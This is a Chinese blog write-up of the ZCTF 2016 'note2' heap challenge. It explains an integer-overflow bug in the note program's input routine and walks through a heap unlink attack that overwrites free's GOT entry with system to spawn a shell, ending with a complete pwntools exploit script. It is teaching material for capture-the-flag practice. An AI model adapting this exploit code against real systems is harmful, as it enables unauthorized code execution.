2016 ZCTF note2 WriteUp

安全措施

[*] '/mnt/e/Security/pwn/heap/unlink/examples/zctf2016_note2/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'/home/pwwwn/glibc-all-in-one/2.23-0ubuntu11.3_amd64'

没开PIE,地址可以直接用

运行程序

菜单题

Input your name:
/bin/sh
Input your address:
/bin/sh
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

静态分析

在IDA中反编译查看,主函数没有问题:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  readuntil(&name, 64LL, 10LL);
  puts("Input your address:");
  readuntil(&address, 96LL, 10LL);
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        add();
        break;
      case 2u:
        show();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        delete();
        break;
      case 5u:
        puts("Bye~");
        exit(0);
      case 6u:
        exit(0);
      default:
        continue;
    }
  }
}

readuntil函数存在整数溢出漏洞,将intunsigned进行比较。如果length0-1在与unsigned进行比较时会进行强制类型转换,会变成一个极大的整数,从而绕过输入的限制,产生溢出:

unsigned __int64 __fastcall recvuntil(__int64 str, __int64 length, char end)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; length - 1 > i; ++i )          // 整数溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == end )
      break;
    *(_BYTE *)(i + str) = buf;
  }
  *(_BYTE *)(str + i) = 0;
  return i;
}

add函数里面,readuntillength参数是从输入获取的,因此可以进行控制:

int add()
{
  unsigned int idx; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  const char *note; // [rsp+8h] [rbp-8h]

  if ( (unsigned int)count > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = readNum();
  if ( size > 0x80 )
    return puts("Too long");
  note = (const char *)malloc(size);
  puts("Input the note content:");
  readuntil((__int64)note, size, 10);           // vulnerable
  strip(note);
  *(&note_list + (unsigned int)count) = (void *)note;
  size_list[count] = size;
  idx = count++;
  return printf("note add success, the id is %d\n", idx);
}

漏洞利用

先实现菜单的几个基本操作的编写:

def itob(num):
    return str(num).encode()

def init(name, address):
    io.recvuntil(b'name:')
    io.sendline(name)
    io.recvuntil(b'address:')
    io.sendline(address)

def menu(option):
    io.sendlineafter(b'>>', itob(option))

def add(size, content):
    menu(1)
    io.recvuntil(b'(less than 128)')
    io.sendline(itob(size))
    io.recvuntil(b'content:')
    io.sendline(content)
    io.recvuntil(b'the id is ')
    idx = int(io.recvline(keepends=False))
    return idx

def show(idx):
    menu(2)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvuntil(b'Content is ')
    content = io.recvline(keepends=False)
    return content

def edit(idx, option, content):
    menu(3)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvuntil(b']')
    io.sendline(itob(option))
    io.recvuntil(b'Contents:')
    io.sendline(content)
    io.recvline()

def delete(idx):
    menu(4)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvline()

def quit():
    io.sendline(b'5')

因为地址是固定的,一开始输入nameaddress时可以直接输入/bin/sh,方便后续利用时直接传入该地址获取shell。这里我用了name的地址。

init(b'/bin/sh', b'/bin/sh')
name_addr = 0x00000000006020E0

malloc申请0x0大小的堆块时,实际会得到一个0x20大小的堆块用于容纳堆信息,该堆块属于fastbin,因此释放该堆块,重新申请时会得到同样位置的堆块。于是在利用时,就可以把它申请在要覆盖的堆块之前,然后释放,再申请,进行溢出。

这里利用 unlink 后向合并,申请3个chunk,第1个chunk中伪造一个fakechunk,第2个chunk作为fastbin用于覆盖第3个chunk的header部分实现unlink:

    chunk_array_addr = 0x0000000000602120
    name_addr = 0x00000000006020E0
    malloc_size = 0x80

    fd = chunk_array_addr - 0x18
    bk = chunk_array_addr - 0x10
    payload = pack(0) + pack(malloc_size + 0x20) + pack(fd) + pack(bk) + pack(0)
    add(malloc_size, payload)
    add(0x0, b'\0'*0x8)
    add(malloc_size, cyclic(0x10))

释放第2个chunk,再次申请,覆盖第3个chunk,创造unlink条件:

    delete(1)

    payload = b'a'*0x10 + pack(malloc_size + 0x20) + pack(malloc_size + 0x10)
    add(0, payload)

释放第3个chunk,触发unlink,获得任意地址写权限:

    delete(2)

因为edit函数用字符串操作实现,里面不能有NUL字符,所以只能每次控制一个地址。

首先控制到指向第2个chunk的指针数组元素:

    payload = b'a'*0x18 + pack(chunk_array_addr + 0x10)
    edit(0, 1, payload)

然后把它指向freegot表,通过show泄露它的地址:

    free_got = file.got['free']
    payload = pack(free_got)
    edit(0, 1, payload)

    free_addr = unpack(show(2).ljust(0x8, b'\0'))
    log.success("leak free@got addr: " + hex(free_addr))

由此算出libc基址,得到system函数地址,然后把前面的freegot表指向system

    libc_base = free_addr - libc.symbols['free']
    system_addr = libc_base + libc.symbols['system']

    payload = pack(system_addr)
    edit(2, 1, payload)

让指针数组第2个元素指向一开始的name的地址,也就是保存/bin/sh的地址:

    payload = pack(name_addr)
    edit(0, 1, payload)

释放该这个元素,取得shell:

    delete(2)

最终exp如下:

from pwn import *

debug = True
local_path = './note2'
remote_path = ''
remote_port = 8080
file = ELF(local_path)
libc = file.libc
context.binary = local_path

if debug:
    io = process(local_path)
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else: 
    io = remote(remote_path, remote_port)

def itob(num):
    return str(num).encode()

def init(name, address):
    io.recvuntil(b'name:')
    io.sendline(name)
    io.recvuntil(b'address:')
    io.sendline(address)

def menu(option):
    io.sendlineafter(b'>>', itob(option))

def add(size, content):
    menu(1)
    io.recvuntil(b'(less than 128)')
    io.sendline(itob(size))
    io.recvuntil(b'content:')
    io.sendline(content)
    io.recvuntil(b'the id is ')
    idx = int(io.recvline(keepends=False))
    return idx

def show(idx):
    menu(2)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvuntil(b'Content is ')
    content = io.recvline(keepends=False)
    return content

def edit(idx, option, content):
    menu(3)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvuntil(b']')
    io.sendline(itob(option))
    io.recvuntil(b'Contents:')
    io.sendline(content)
    io.recvline()

def delete(idx):
    menu(4)
    io.recvuntil(b'note:')
    io.sendline(itob(idx))
    io.recvline()

def quit():
    io.sendline(b'5')

def exp():
    init(b'/bin/sh', b'/bin/sh')

    chunk_array_addr = 0x0000000000602120
    name_addr = 0x00000000006020E0
    malloc_size = 0x80

    fd = chunk_array_addr - 0x18
    bk = chunk_array_addr - 0x10
    payload = pack(0) + pack(malloc_size + 0x20) + pack(fd) + pack(bk) + pack(0)
    add(malloc_size, payload)
    add(0x0, b'\0'*0x8)
    add(malloc_size, cyclic(0x10))

    delete(1)

    payload = b'a'*0x10 + pack(malloc_size + 0x20) + pack(malloc_size + 0x10)
    add(0, payload)

    delete(2)

    free_got = file.got['free']
    payload = b'a'*0x18 + pack(chunk_array_addr + 0x10)
    edit(0, 1, payload)

    payload = pack(free_got)
    edit(0, 1, payload)

    free_addr = unpack(show(2).ljust(0x8, b'\0'))
    log.success("leak free@got addr: " + hex(free_addr))

    libc_base = free_addr - libc.symbols['free']
    system_addr = libc_base + libc.symbols['system']

    payload = pack(system_addr)
    edit(2, 1, payload)

    payload = pack(name_addr)
    edit(0, 1, payload)

    delete(2)

    io.interactive()

if __name__=='__main__':
    exp()
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇